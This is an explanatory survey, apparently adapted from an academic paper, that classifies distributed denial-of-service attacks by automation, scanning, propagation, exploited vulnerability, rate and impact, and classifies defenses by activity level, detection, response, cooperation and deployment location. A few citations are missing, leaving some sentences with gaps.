IntroductionDistributed denial-of-service attacks (DDoS) pose an immense threat to the Internet, and consequently many defense mechanisms have been proposed to combat them. Attackers constantly modify their tools to bypass these security systems, and researchers in turn modify their approaches to handle new attacks.The DDoS field is evolving quickly, and it is becoming increasingly hard to grasp a global view of the problem.
DDoS Attack OverviewA denial-of-service attack is characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service. A distributed denial-of-service attack deploys multiple machines to attain this goal. The service is denied by sending a stream of packets to a victim that either consumes some key resource, thus rendering it unavailable to legitimate clients, or provides the attacker with unlimited access to the victim machine so he can inflict arbitrary damage. This section will answer the following questions:
1. What makes DDoS attacks possible?
2. How do these attacks occur?
3. Why do they occur?
Internet ArchitectureThe Internet is managed in a distributed manner; therefore no common policy can be enforced among its participants.Such design opens several security issues that provide opportunities for distributed denial-of-service attacks:
1. Internet security is highly interdependent. DDoS attacks are commonly launched from systems that are subverted through security related compromises. Regardless of how well secured the victim system may be, its susceptibility to DDoS attacks depends on the state of security in the rest of the global Internet.
2. Internet resource is limited. Each Internet host has limited resources that can be consumed by a sufficient number of users.
3. Power of many is greater than power of few. Coordinated and simultaneous malicious actions by some participants can always be detrimental to others, if the resources of the attackers are greater than the resources of the victims.
4. Intelligence and resources are not collocated an end-to-end communication paradigm led to locating most of the intelligence needed for service guarantees with end hosts. At the same time, a desire for large throughput led to the design of high bandwidth pathways in the intermediate network. Thus, malicious clients can misuse the abundant resources of unwitting network for delivery of numerous messages to a victim.
DDoS Attack StrategyIn order to perform a distributed denial-of-service attack, the attacker needs to recruit the multiple agent (slave) machines. This process is usually performed automatically through scanning of remote machines, looking for security holes that would enable subversion. Vulnerable machines are then exploited by using the discovered vulnerability to gain access to the machine, and they are infected with the attack code. The exploit/infection phase is also automated, and the infected machines can be used for further recruitment of new agents .Agent machines perform the attack against the victim. Attackers usually hide the identity of the agent machines during the attack through spoofing of the source address field in packets. The agent machines can thus be reused for future attacks.
DDoS GoalsThe goal of a DDoS attack is to inflict damage on the victim, either for personal reasons (a significant number of DDoS attacks are against home computers, presumably for purposes of revenge), for material gain (damaging competitor’s resources) or for popularity (successful attacks on popular Web servers gain the respect of the hacker community).
Taxonomy of DDoS AttacksIn order to devise a taxonomy of distributed denialof- service attacks we observe the means used to prepare and perform the attack, the characteristics of the attack itself and the effect it has on the victim. Various classification criteria are indicated in bold type. Figure 1 summarizes the taxonomy.
Classification by Degree of AutomationDuring the attack preparation, the attacker needs to locate prospective agent machines and infect them with the attack code. Based on the degree of automation of the attack, we differentiate between manual, semi-automatic and automatic DDoS attacks.
Manual AttacksOnly the early DDoS attacks belonged to the manual category. The attacker scanned remote machines for vulnerabilities, broke into them and installed the attack code, and then commanded the onset of the attack. All of these actions were soon automated, leading to development of semiautomatic DDoS attacks, the category where most contemporary attacks belong.
Semi-Automatic AttacksIn semi-automatic attacks, the DDoS network consists of handler (master) and agent (slave, daemon) machines. The attacker deploys automated scripts for scanning and compromise of those machines and installation of the attack code. He then uses handler machines to specify the attack type and the victim’s address and to command the onset of the attack to agents, who send packets to the victim. Based on the communication mechanism deployed between agent and handler machines we divide semi-automatic attacks into attacks with direct communication and attacks with indirect communication.
Attacks with direct communicationDuring attacks with direct communication, the agent and handler machines need to know each other’s identity in order to communicate. This is achieved by hard-coding the IP address of the handler machines in the attack code that is later installed on the agent. Each agent then reports its readiness to the handlers, who store its IP address in a file for later communication. The obvious drawback of this approach is that discovery of one compromised machine can expose the whole DDoS network. Also, since agents and handlers listen to network connections, they are identifiable by network scanners.
Attacks with indirect communicationAttacks with indirect communication deploy a level of indirection to increase the survivability of a DDoS network.Recent attacks provide the example of using IRC channels for agent/handler communication. The use of IRC services replaces the function of a handler, since the IRC channel offers sufficient anonymity to the attacker. Since DDoS agents establish outbound connections to a standard service port used by a legitimate network service, agent communications to the control point may not be easily differentiated from legitimate network traffic. The agents do not incorporate a listening port that is easily detectable with network scanners. An attacker controls the agents using IRC communications channels. Thus, discovery of a single agent may lead no further than the identification of one or more IRC servers and channel names used by the DDoS network. From there, identification of the DDoS network depends on the ability to track agents currently connected to the IRC server. Although the IRC service is the only current example of indirect communication, there is nothing to prevent attackers from subverting other legitimate services for similar purposes.
Automatic AttacksAutomatic DDoS attacks additionally automate the attack phase, thus avoiding the need for communication between attacker and agent machines. The time of the onset of the attack,
attack type, duration and victim’s address is preprogrammed in the attack code. It is obvious that such deployment mechanisms offer minimal exposure to the attacker, since he is only involved in issuing a single command – the start of the attack script. The hard coded attack specification suggests a single-purpose use of the DDoS network. However, the propagation mechanisms usually leave the backdoor to the compromised DDoS machine open, enabling easy future access and modification of the attack code. Both semi-automatic and automatic attacks recruit the agent machines by deploying automatic scanning and propagation techniques. Based on the scanning strategy, we differentiate between attacks that deploy random scanning, hit list scanning, topological scanning, permutation scanning and local subnet scanning. Attackers usually combine the scanning and exploitation phases, thus gaining a larger agent population, and my description of scanning techniques relates to this model.
Attacks with Random ScanningDuring random scanning each compromised host probes random addresses in the IP address space, using a different seed. This potentially creates a high traffic volume since many machines probe the same addresses. Code Red (CRv2) performed random scanning .
Attacks with Hitlist ScanningA machine performing hitlist scanning probes all addresses from an externally supplied list. When it detects the vulnerable machine, it sends one half of the initial hitlist to the recipient and keeps the other half. This technique allows for great propagation speed (due to exponential spread) and no collisions during the scanning phase. An attack deploying hitlist scanning could obtain the list from netscan.org of domains that still support directed IP broadcast and can thus be used for a Smurf attack.
Attacks with Topological ScanningTopological scanning uses the information on the compromised host to select new targets. All mail worms use topological scanning, exploiting the information from address books for their spread.
Attacks with Permutation ScanningDuring permutation scanning, all compromised machines share a common pseudo-random permutation of the IP address space; each IP address is mapped to an index in this permutation. A machine begins scanning by using the index computed from its IP address as a starting point. Whenever it sees an already infected machine, it chooses a new random start point. This has the effect of providing a semi coordinated, comprehensive scan while maintaining the benefits of random probing. This technique is described in as not yet deployed.
Attacks with Local Subnet ScanningLocal subnet scanning can be added to any of the previously described techniques to preferentially scan for targets that reside on the same subnet as the compromised host. Using this technique, a single copy of the scanning program can compromise many vulnerable machines behind a firewall. Code Red II and Nimda Worm used local subnet scanning. Based on the attack code propagation mechanism, we differentiate between attacks that deploy central source propagation, back-chaining propagation and autonomous propagation .
Attacks with Central Source PropagationDuring central source propagation, the attack code resides on a central server or set of servers.
After compromise of the agent machine, the code is downloaded from the central source through a file transfer mechanism. The 1i0n worm operated in this manner.
Attacks with Back-chaining PropagationDuring back-chaining propagation, the attack code is downloaded from the machine that was used to exploit the system.The infected machine then becomes the source for the next propagation step. Back-chaining propagation is more survivable than central-source propagation since it avoids a single point of failure. The Ramen worm and Morris Worm used backchaining propagation.
Attacks with Autonomous PropagationAutonomous propagation avoids the file retrieval step by injecting attack instructions directly into the target host during the exploitation phase. Code Red, Warhol Worm and numerous E-mail worms use autonomous propagation.
Classification by Exploited VulnerabilityDistributed denial-of-service attacks exploit different strategies to deny the service of the victim to its clients. Based on the vulnerability that is targeted during an attack, we differentiate between protocol attacks and brute-force attacks.
Protocol AttacksProtocol attacks exploit a specific feature or implementation bug of some protocol installed at the victim in order to consume excess amounts of its resources. Examples include the TCP SYN attack, the CGI request attack and the authentication server attack. In the TCP SYN attack, the exploited feature is the allocation of substantial space in a connection queue immediately upon receipt of a TCP SYN request. The attacker initiates multiple connections that are never completed, thus filling up the connection queue indefinitely. In the CGI request attack, the attacker consumes the CPU time of the victim by issuing multiple CGI requests. In the authentication server attack, the attacker exploits the fact that the signature verification process consumes significantly more resources than bogus signature generation. He sends numerous bogus authentication requests to the server, tying up its resources.
Brute-force AttacksBrute-force attacks are performed by initiating a vast amount of seemingly legitimate transactions. Since an upstream network can usually deliver higher traffic volume than the victim network can handle, this exhausts the victim’s resources. We further divide brute-force attacks based on the relation of packet contents with victim services into filterable and non-filterable attacks.
Filterable AttacksFilterable attacks use bogus packets or packets for non-critical services of the victim’s operation, and thus can be filtered by a firewall. Examples of such attacks are a UDP flood attack or an
ICMP request flood attack on a Web server.
Non-filterable AttacksNon-filterable attacks use packets that request legitimate services from the victim. Thus, filtering all packets that match the attack signature would lead to an immediate denial of the specified service to both attackers and the legitimate clients. Examples are a HTTP request flood targeting a Web server or a DNS request flood targeting a name server. The line between protocol and brute force attacks is thin. Protocol attacks also overwhelm a victim’s resources with excess traffic, and badly designed protocol features at remote hosts are frequently used to perform “reflector” brute-force attacks, such as the DNS request attack or the Smurf attack.
The difference is that a victim can mitigate the effect of protocol attacks by modifying the deployed protocols at its site, while it is helpless against brute-force attacks due to their misuse of legitimate services (non-filterable attacks) or due to its own limited resources (a victim can do nothing about an attack that swamps its network bandwidth). Countering protocol attacks by modifying the deployed protocol pushes the corresponding attack mechanism into the brute-force category. For example, if the victim deploys TCP SYN cookies to combat TCP SYN attacks, it will still be vulnerable to TCP SYN attacks that generate more requests than its network can accommodate.
However, the brute-force attacks need to generate a much higher volume of attack packets than protocol attacks, to inflict damage at the victim. So by modifying the deployed protocols the victim pushes the vulnerability limit higher. Evidently, classification of the specific attack needs to take into account both the attack mechanisms used and the victim’s configuration. It is interesting to note that the variability of attack packet contents is determined by the exploited vulnerability.
Packets comprising protocol and non-filterable brute force attacks must specify some valid header fields and possibly some valid contents. For example TCP SYN attack packets cannot vary the protocol or flag field, and HTTP flood packets must belong to an established TCP connection and therefore cannot spoof source addresses, unless they hijack connections from legitimate clients.
Classification by Attack Rate DynamicsDepending on the attack rate dynamics we differentiate between continuous rate and variable rate attacks.
Continuous Rate AttacksThe majority of known attacks deploy a continuous rate mechanism. After the onset is commanded, agent machines generate the attack packets with full force. This sudden packet flood disrupts the victim’s services quickly, and thus leads to attack detection.
Variable Rate AttacksVariable rate attacks are more cautious in their engagement, and they vary the attack rate to avoid detection and response. Based on the rate change mechanism we differentiate between attacks with increasing rate and fluctuating rate.
Increasing Rate AttacksAttacks that have a gradually increasing rate lead to a slow exhaustion of victim’s resources. A state change of the victim could be so gradual that its services degrade slowly over a long time period, thus delaying detection of the attack.
Fluctuating Rate AttacksAttacks that have a fluctuating rate adjust the attack rate based on the victim’s behavior, occasionally relieving the effect to avoid detection. At the extreme end, there is the example of pulsing attacks. During pulsing attacks, agent hosts periodically abort the attack and resume it at a later time. If this behavior is simultaneous for all agents, the victim experiences periodic service disruptions. If, however, agents are divided into groups who coordinate so that one group is always active, then the victim experiences continuous denial of service.
Classification by ImpactDepending on the impact of a DDoS attack on the victim we differentiate between disruptive and degrading attacks.
Disruptive AttacksThe goal of disruptive attacks is to completely deny the victim’s service to its clients. All currently known attacks belong to this category.
Degrading AttacksThe goal of degrading attacks would be to consume some (presumably constant) portion of a victim’s resources. Since these attacks do not lead to total service disruption, they could remain undetected for a significant time period.
On the other hand, damage inflicted on the victim could be immense. For example, an attack that effectively ties up 30% of the victim’s resources would lead to denial of service to some percentage of customers during high load periods, and possibly slower average service. Some customers, dissatisfied with the quality, would consequently change their service provider and victim would thus lose income. Alternately, the false load could result in a victim spending money to upgrade its servers and networks.
Taxonomy of DDoS Defense MechanismsThe seriousness of the DDoS problem and the increased frequency of DDoS attacks have led to the advent of numerous DDoS defense mechanisms. Some of these mechanisms address a specific kind of DDoS attack such as attacks on Web servers or authentication servers. Other approaches attempt to solve the entire generic DDoS problem. Most of the proposed approaches require certain features to achieve their peak performance, and will perform quite differently if deployed in an environment where these requirements are not met.
As is frequently pointed out, there is no “ram ban (means the weapon which never misses the target in hindi)” against DDoS attacks. Therefore we need to understand not only each existing DDoS defense approach, but also how those approaches might be combined together to effectively and completely solve the problem.
Classification by Activity LevelBased on the activity level of DDoS defense mechanisms, we differentiate between preventive and reactive mechanisms.
Preventive MechanismsThe goal of preventive mechanisms is either to eliminate the possibility of DDoS attacks altogether or to enable potential victims to endure the attack without denying services to legitimate clients. According to these goals we further divide preventive mechanisms into attack prevention and denial-of-service prevention mechanisms.
Attack Prevention MechanismsAttack prevention mechanisms modify the system configuration to eliminate the possibility of a DDoS attack. Based on the target they secure, we further divide them into system security and protocol security mechanisms.
System Security MechanismsSystem security mechanisms increase the overall security of the system, guarding against illegitimate accesses to the machine, removing application bugs and updating protocol installations to prevent intrusions and misuse of the system. DDoS attacks owe their power to large numbers of subverted machines that cooperatively generate the attack streams.
If these machines were secured, the attackers would lose their army and the DDoS threat would then disappear. On the other hand, systems vulnerable to intrusions can themselves become victims of DDoS attacks in which the attacker, having gained unlimited access to the machine, deletes or alters its contents. Potential victims of DDoS attacks can be easily overwhelmed if they deploy vulnerable protocols.
Examples of system security mechanisms include monitored access to the machine, applications that download and install security patches, firewall systems, virus scanners, intrusion detection systems, access lists for critical resources, capability-based systems and client-legitimacy-based systems. The history of computer security suggests that this approach can never be 100% effective, but doing a good job here will certainly decrease the frequency and strength of DDoS attacks.
Protocol Security MechanismsProtocol security mechanisms address the problem of bad protocol design. Many protocols contain operations that are cheap for the client but expensive for the server. Such protocols can be misused to exhaust the resources of a server by initiating large numbers of simultaneous transactions. Classic misuse examples are the TCP SYN attack, the authentication server attack, and the fragmented packet attack, in which the attacker bombards the victim with malformed packet fragments forcing it to waste its resources on reassembling attempts.
Examples of protocol security mechanisms include guidelines for a safe protocol design in which resources are committed to the client only after sufficient authentication is done , or the client has paid a sufficient price , deployment of powerful proxy server that completes TCP connections , etc. Deploying comprehensive protocol and system security mechanisms can make the victim completely resilient to protocol attacks. Also, these approaches are inherently compatible with and complementary to all other approaches.
Denial-of-service prevention mechanisms enable the victim to endure attack attempts without denying service to legitimate clients. This is done either by enforcing policies for resource consumption or by ensuring that abundant resources exist so that legitimate clients will not be affected by the attack. Consequently, based on the prevention method, we differentiate between resource accounting and resource multiplication mechanisms.
Resource Accounting MechanismsResource accounting mechanisms police the access of each user to resources based on the privileges of the user and his behavior. Such mechanisms guarantee fair service to legitimate well-behaving users. In order to avoid user identity theft, they are usually coupled with legitimacy-based access mechanisms that verify the user’s identity. Approaches proposed in illustrate resource accounting mechanisms.
Resource Multiplication MechanismsResource multiplication mechanisms provide an abundance of resources to counter DDoS threats. The straightforward example is a system that deploys a pool of servers with a load balancer and installs high bandwidth links between itself and upstream routers. This approach essentially raises the bar on how many machines must participate in an attack to be effective. While not providing perfect protection, for those who can afford the costs, this approach has often proven sufficient. For example, Microsoft has used it to weather large DDoS attacks.
Reactive MechanismsReactive mechanisms strive to alleviate the impact of an attack on the victim. In order to attain this goal they need to detect the attack and respond to it. The goal of attack detection is to detect every attempted DDoS attack as early as possible and to have a low degree of false positives. Upon attack detection, steps can be taken to characterize the packets belonging to the attack stream and provide this characterization to the response mechanism. We classify reactive mechanisms based on the attack detection strategy into mechanisms that deploy pattern detection, anomaly detection, hybrid detection, and third-party detection.
Mechanisms with Pattern Attack DetectionMechanisms that deploy pattern detection store the signatures of known attacks in a database. Each communication is monitored and compared with database entries to discover occurrences of DDoS attacks. Occasionally, the database is updated with new attack signatures. The obvious drawback of this detection mechanism is that it can only detect known attacks, and it is usually helpless against new attacks or even slight variations of old attacks that cannot be matched to the stored signature. On the other hand, known attacks are easily and reliably detected, and no false positives are encountered
Mechanisms with Anomaly Attack DetectionMechanisms that deploy anomaly detection have a model of normal system behavior, such as a model of normal traffic dynamics or expected system performance. The current state of the system is periodically compared with the models to detect anomalies. Approaches presented in provide examples of mechanisms that use anomaly detection. The advantage of anomaly detection over pattern detection is that unknown attacks can be discovered. However, anomaly-based detection has to address two issues:
1. Threshold setting. Anomalies are detected when the current system state differs from the model by a certain threshold. The setting of a low threshold leads to many false positives, while a high threshold reduces the sensitivity of the detection mechanism.
2. Model update. Systems and communication patterns evolve with time, and models need to be updated to reflect this change. Anomaly based systems usually perform automatic model update using statistics gathered at a time when no attack was detected. This approach makes the detection mechanism vulnerable to increasing rate attacks that can mistrial models and delay or even avoid attack detection.
Mechanisms with Hybrid Attack DetectionMechanisms that deploy hybrid detection combine the pattern-based and anomaly-based detection, using data about attacks discovered through an anomaly detection mechanism to devise new attack signatures and update the database. Many intrusion detection systems use hybrid detection. If these systems are fully automated, properly extracting a signature from a detected attack can be challenging. The system must be careful not to permit attackers to fool it into detecting normal behavior as an attack signature, or the system itself becomes a denial-of-service tool.
Mechanisms with Third-Party Attack DetectionMechanisms that deploy third-party detection do not handle the detection process themselves, but rely on an external message that signals the occurrence of the attack and provides attack characterization. Examples of mechanisms that use third-party detection are easily found among trace back mechanisms The goal of the attack response is to relieve the impact of the attack on the victim, while imposing minimal collateral damage to legitimate clients of the victim. I classify reactive mechanisms based on the response strategy into mechanisms that deploy agent identification, rate-limiting, filtering and reconfiguration approaches.
Agent Identification MechanismsAgent identification mechanisms provide the victim with information about the identity of the machines that are performing the attack. This information can then be combined with other response approaches to alleviate the impact of the attack. Agent identification examples include numerous trace back techniques and approaches that eliminate spoofing thus enabling use of the source address field for agent identification.
Rate-Limiting MechanismsRate-limiting mechanisms impose a rate limit on a stream that has been characterized as malicious by the detection mechanism. Examples of rate limiting mechanisms are found in Rate limiting is a lenient response technique that is usually deployed when the detection mechanism has a high level of false positives or cannot precisely characterize the attack stream. The disadvantage is that they allow some attack traffic through, so extremely high scale attacks might still be effective even if all traffic streams are rate-limited.
Filtering MechanismsFiltering mechanisms use the characterization provided by a detection mechanism to filter out the attack stream completely. Examples include dynamically deployed firewalls , and also a commercial system Traffic Master . Unless detection strategy is very reliable, filtering mechanisms run the risk of accidentally denying service to legitimate traffic. Worse, clever attackers might leverage them as denial-of service tools.
Reconfiguration MechanismsReconfiguration mechanisms change the topology of the victim or the intermediate network to either add more resources to the victim or to isolate the attack machines. Examples include reconfigurable overlay networks, resource replication services, attack isolation strategies etc. Reactive DDoS defense mechanisms can perform detection and response either alone or in cooperation with other entities in the Internet. Based on the cooperation degree we differentiate between autonomous, cooperative and interdependent mechanisms.
Autonomous MechanismsAutonomous mechanisms perform independent attack detection and response. They are usually deployed at a single point in the Internet and act locally. Firewalls and intrusion detection systems provide an easy example of autonomous mechanisms.
Cooperative MechanismsCooperative mechanisms are capable of autonomous detection and response, but can achieve significantly better performance through cooperation with other entities. Mechanisms deploying pushback provide examples of cooperative mechanisms. They detect the occurrence of a DDoS attack by observing congestion in a router’s buffer, characterize the traffic that creates the congestion, and act locally to impose a rate limit on that traffic. However, they achieve significantly better performance if the rate limit requests can be propagated to upstream routers who otherwise may be unaware of the attack.
Interdependent MechanismsInterdependent mechanisms cannot operate autonomously; they rely on other entities either for attack detection or for efficient response. Traceback mechanisms provide examples of interdependent mechanisms. A traceback mechanism deployed on a single router would provide almost no benefit.
Classification by Deployment LocationWith regard to a deployment location, we differentiate between DDoS mechanisms deployed at the victim, intermediate, or source network.
Victim-Network MechanismsDDoS defense mechanisms deployed at the victim network protect this network from DDoS attacks and respond to detected attacks by alleviating the impact on the victim. Historically, most defense systems were located at the victim since it suffered the greatest impact of the attack and was therefore the most motivated to sacrifice some resources for increased security. Resource accounting and protocol security mechanisms provide examples of these systems.
Intermediate-Network MechanismsDDoS defense mechanisms deployed at the intermediate network provide infrastructural service to a large number of Internet hosts. Victims of DDoS attacks can contact the infrastructure and request the service, possibly providing adequate compensation. Pushback and traceback techniques are examples of intermediate-network mechanisms.
Source-Network MechanismsThe goal of DDoS defense mechanisms deployed at the source network is to prevent customers using this network from generating DDoS attacks. Such mechanisms are necessary and desirable, but motivation for their deployment is low since it is unclear who would pay the expenses associated with this service. Mechanisms proposed in provide examples of source-network mechanisms.
